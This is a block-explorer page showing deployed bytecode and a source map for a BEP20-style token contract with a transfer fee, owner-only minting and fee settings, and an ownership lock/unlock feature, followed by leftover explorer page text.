ffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806122dd6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a31576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806123746023913960400191505060405180910390fd5b611a9d8160405180606001604052806026815260200161234e60269139600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e579092919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b3281600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1790919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bd5600a5460648381611b8557fe5b0402600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461229290919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611cff600a5460648381611c8d57fe5b040260036000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1790919063ffffffff16565b60036000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600060036000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505050565b6000838311158290611f04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ec9578082015181840152602081019050611eae565b50505050905090810190601f168015611ef65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611f95576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612025576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806123bc6021913960400191505060405180910390fd5b612091816040518060600160405280602281526020016123dd60229139600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e579092919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120e98160055461229290919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561219357600080fd5b6121e581600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1790919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60006122d483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e57565b90509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737342455032303a20617070726f76652066726f6d20746865207a65726f206164647265737342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737342455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f42455032303a206275726e2066726f6d20746865207a65726f206164647265737342455032303a206275726e20616d6f756e7420657863656564732062616c616e636542455032303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636542455032303a20617070726f766520746f20746865207a65726f2061646472657373596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636ba26469706673582212206315342c809c58bb7095ae2b96b114930aac8eb4c20cbf5abf3eb1b69ae58ef764736f6c634300060c0033

Deployed ByteCode Sourcemap

4391:5575:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5706:96;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6588:153;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;5811:104;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6153:113;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;6747:301;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;5490:96;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;4641:22;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7054:200;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7656:87;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;4090:294;;;:::i;:::-;;5921:123;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;7517:129;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;7749:289;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5385:96;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;3832:243;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;3519:79;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;5596:100;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7260:251;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;6278:159;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;4668:21;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6052:89;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5343:33;;;:::i;:::-;;;;;;;;;;;;;;;;;;;4694:19;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3738:86;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6443:139;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5272:31;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5310:26;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5706:96;5762:13;5791:5;5784:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5706:96;:::o;6588:153::-;6665:4;6678:39;6687:12;:10;:12::i;:::-;6701:7;6710:6;6678:8;:39::i;:::-;6731:4;6724:11;;6588:153;;;;:::o;5811:104::-;5874:7;5897:12;;5890:19;;5811:104;:::o;6153:113::-;3661:12;:10;:12::i;:::-;3651:22;;:6;;;;;;;;;;:22;;;3643:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6246:12:::1;6230:13;:28;;;;6153:113:::0;:::o;6747:301::-;6847:4;6860:36;6870:6;6878:9;6889:6;6860:9;:36::i;:::-;6903:121;6912:6;6920:12;:10;:12::i;:::-;6934:89;6972:6;6934:89;;;;;;;;;;;;;;;;;:11;:19;6946:6;6934:19;;;;;;;;;;;;;;;:33;6954:12;:10;:12::i;:::-;6934:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6903:8;:121::i;:::-;7038:4;7031:11;;6747:301;;;;;:::o;5490:96::-;5550:5;5571:9;;;;;;;;;;;5564:16;;5490:96;:::o;4641:22::-;;;;;;;;;;;;;:::o;7054:200::-;7134:4;7147:83;7156:12;:10;:12::i;:::-;7170:7;7179:50;7218:10;7179:11;:25;7191:12;:10;:12::i;:::-;7179:25;;;;;;;;;;;;;;;:34;7205:7;7179:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;7147:8;:83::i;:::-;7244:4;7237:11;;7054:200;;;;:::o;7656:87::-;7710:27;7716:12;:10;:12::i;:::-;7730:6;7710:5;:27::i;:::-;7656:87;:::o;4090:294::-;4161:10;4143:28;;:14;;;;;;;;;;;:28;;;4135:76;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4236:9;;4230:3;:15;4222:60;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4327:14;;;;;;;;;;;4298:44;;4319:6;;;;;;;;;;4298:44;;;;;;;;;;;;4362:14;;;;;;;;;;;4353:6;;:23;;;;;;;;;;;;;;;;;;4090:294::o;5921:123::-;5997:7;6020:9;:18;6030:7;6020:18;;;;;;;;;;;;;;;;6013:25;;5921:123;;;:::o;7517:129::-;7577:4;3661:12;:10;:12::i;:::-;3651:22;;:6;;;;;;;;;;:22;;;3643:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7590:32:::1;7601:12;:10;:12::i;:::-;7615:6;7590:10;:32::i;:::-;7636:4;7629:11;;7517:129:::0;;;:::o;7749:289::-;7824:26;7853:86;7892:6;7853:86;;;;;;;;;;;;;;;;;:11;:20;7865:7;7853:20;;;;;;;;;;;;;;;:34;7874:12;:10;:12::i;:::-;7853:34;;;;;;;;;;;;;;;;:38;;:86;;;;;:::i;:::-;7824:115;;7950:51;7959:7;7968:12;:10;:12::i;:::-;7982:18;7950:8;:51::i;:::-;8010:22;8016:7;8025:6;8010:5;:22::i;:::-;7749:289;;;:::o;5385:96::-;5445:7;5468;:5;:7::i;:::-;5461:14;;5385:96;:::o;3832:243::-;3661:12;:10;:12::i;:::-;3651:22;;:6;;;;;;;;;;:22;;;3643:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3926:6:::1;::::0;::::1;;;;;;;;3909:14;;:23;;;;;;;;;;;;;;;;;;3960:1;3943:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3985:5;3973:17;;:9;:17;;;;4009:2;4001:10;;4064:1;4027:40;;4048:6;::::0;::::1;;;;;;;;4027:40;;;;;;;;;;;;3832:243:::0;:::o;3519:79::-;3557:7;3584:6;;;;;;;;;;;3577:13;;3519:79;:::o;5596:100::-;5654:13;5683:7;5676:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5596:100;:::o;7260:251::-;7345:4;7358:129;7367:12;:10;:12::i;:::-;7381:7;7390:96;7429:15;7390:96;;;;;;;;;;;;;;;;;:11;:25;7402:12;:10;:12::i;:::-;7390:25;;;;;;;;;;;;;;;:34;7416:7;7390:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;7358:8;:129::i;:::-;7501:4;7494:11;;7260:251;;;;:::o;6278:159::-;6358:4;6371:42;6381:12;:10;:12::i;:::-;6395:9;6406:6;6371:9;:42::i;:::-;6427:4;6420:11;;6278:159;;;;:::o;4668:21::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6052:89::-;3661:12;:10;:12::i;:::-;3651:22;;:6;;;;;;;;;;:22;;;3643:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6127:6:::1;6117:7;:16;;;;6052:89:::0;:::o;5343:33::-;;;;:::o;4694:19::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3738:86::-;3780:7;3807:9;;3800:16;;3738:86;:::o;6443:139::-;6526:7;6549:11;:18;6561:5;6549:18;;;;;;;;;;;;;;;:27;6568:7;6549:27;;;;;;;;;;;;;;;;6542:34;;6443:139;;;;:::o;5272:31::-;;;;:::o;5310:26::-;;;;:::o;1268:92::-;1313:15;1344:10;1337:17;;1268:92;:::o;9643:320::-;9750:1;9733:19;;:5;:19;;;;9725:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9827:1;9808:21;;:7;:21;;;;9800:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9907:6;9877:11;:18;9889:5;9877:18;;;;;;;;;;;;;;;:27;9896:7;9877:27;;;;;;;;;;;;;;;:36;;;;9941:7;9925:32;;9934:5;9925:32;;;9950:6;9925:32;;;;;;;;;;;;;;;;;;9643:320;;;:::o;8047:735::-;8159:1;8141:20;;:6;:20;;;;8133:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8239:1;8218:23;;:9;:23;;;;8210:71;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8310;8332:6;8310:71;;;;;;;;;;;;;;;;;:9;:17;8320:6;8310:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;8290:9;:17;8300:6;8290:17;;;;;;;;;;;;;;;:91;;;;8411:32;8436:6;8411:9;:20;8421:9;8411:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;8388:9;:20;8398:9;8388:20;;;;;;;;;;;;;;;:55;;;;8473:57;8522:7;;8515:3;8498:6;:21;;;;;;:31;8473:9;:20;8483:9;8473:20;;;;;;;;;;;;;;;;:24;;:57;;;;:::i;:::-;8450:9;:20;8460:9;8450:20;;;;;;;;;;;;;;;:80;;;;8560:9;8543:35;;8552:6;8543:35;;;8571:6;8543:35;;;;;;;;;;;;;;;;;;8611:60;8663:7;;8656:3;8639:6;:21;;;;;;:31;8611:9;:23;8621:12;;;;;;;;;;;8611:23;;;;;;;;;;;;;;;;:27;;:60;;;;:::i;:::-;8585:9;:23;8595:12;;;;;;;;;;;8585:23;;;;;;;;;;;;;;;:86;;;;8678:13;8694:9;:23;8704:12;;;;;;;;;;;8694:23;;;;;;;;;;;;;;;;8678:39;;8746:12;;;;;;;;;;;8729:37;;8738:6;8729:37;;;8760:5;8729:37;;;;;;;;;;;;;;;;;;8047:735;;;;:::o;1932:178::-;2018:7;2047:1;2042;:6;;2050:12;2034:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2070:9;2086:1;2082;:5;2070:17;;2103:1;2096:8;;;1932:178;;;;;:::o;1616:167::-;1674:7;1690:9;1706:1;1702;:5;1690:17;;1727:1;1722;:6;;1714:46;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1776:1;1769:8;;;1616:167;;;;:::o;9307:330::-;9398:1;9379:21;;:7;:21;;;;9371:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9468:68;9491:6;9468:68;;;;;;;;;;;;;;;;;:9;:18;9478:7;9468:18;;;;;;;;;;;;;;;;:22;;:68;;;;;:::i;:::-;9447:9;:18;9457:7;9447:18;;;;;;;;;;;;;;;:89;;;;9558:24;9575:6;9558:12;;:16;;:24;;;;:::i;:::-;9543:12;:39;;;;9620:1;9594:37;;9603:7;9594:37;;;9624:6;9594:37;;;;;;;;;;;;;;;;;;9307:330;;:::o;8788:215::-;8885:1;8866:21;;:7;:21;;;;8858:30;;;;;;8918;8941:6;8918:9;:18;8928:7;8918:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;8897:9;:18;8907:7;8897:18;;;;;;;;;;;;;;;:51;;;;8981:7;8960:37;;8977:1;8960:37;;;8990:6;8960:37;;;;;;;;;;;;;;;;;;8788:215;;:::o;1792:130::-;1850:7;1873:43;1877:1;1880;1873:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1866:50;;1792:130;;;;:::o

Swarm Source

ipfs://6315342c809c58bb7095ae2b96b114930aac8eb4c20cbf5abf3eb1b69ae58ef7
Block Transaction Gas Used Reward
Age Block Fee Address BC Fee Address Voting Power Jailed Incoming
Block Uncle Number Difficulty Gas Used Reward
Loading
Loading
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.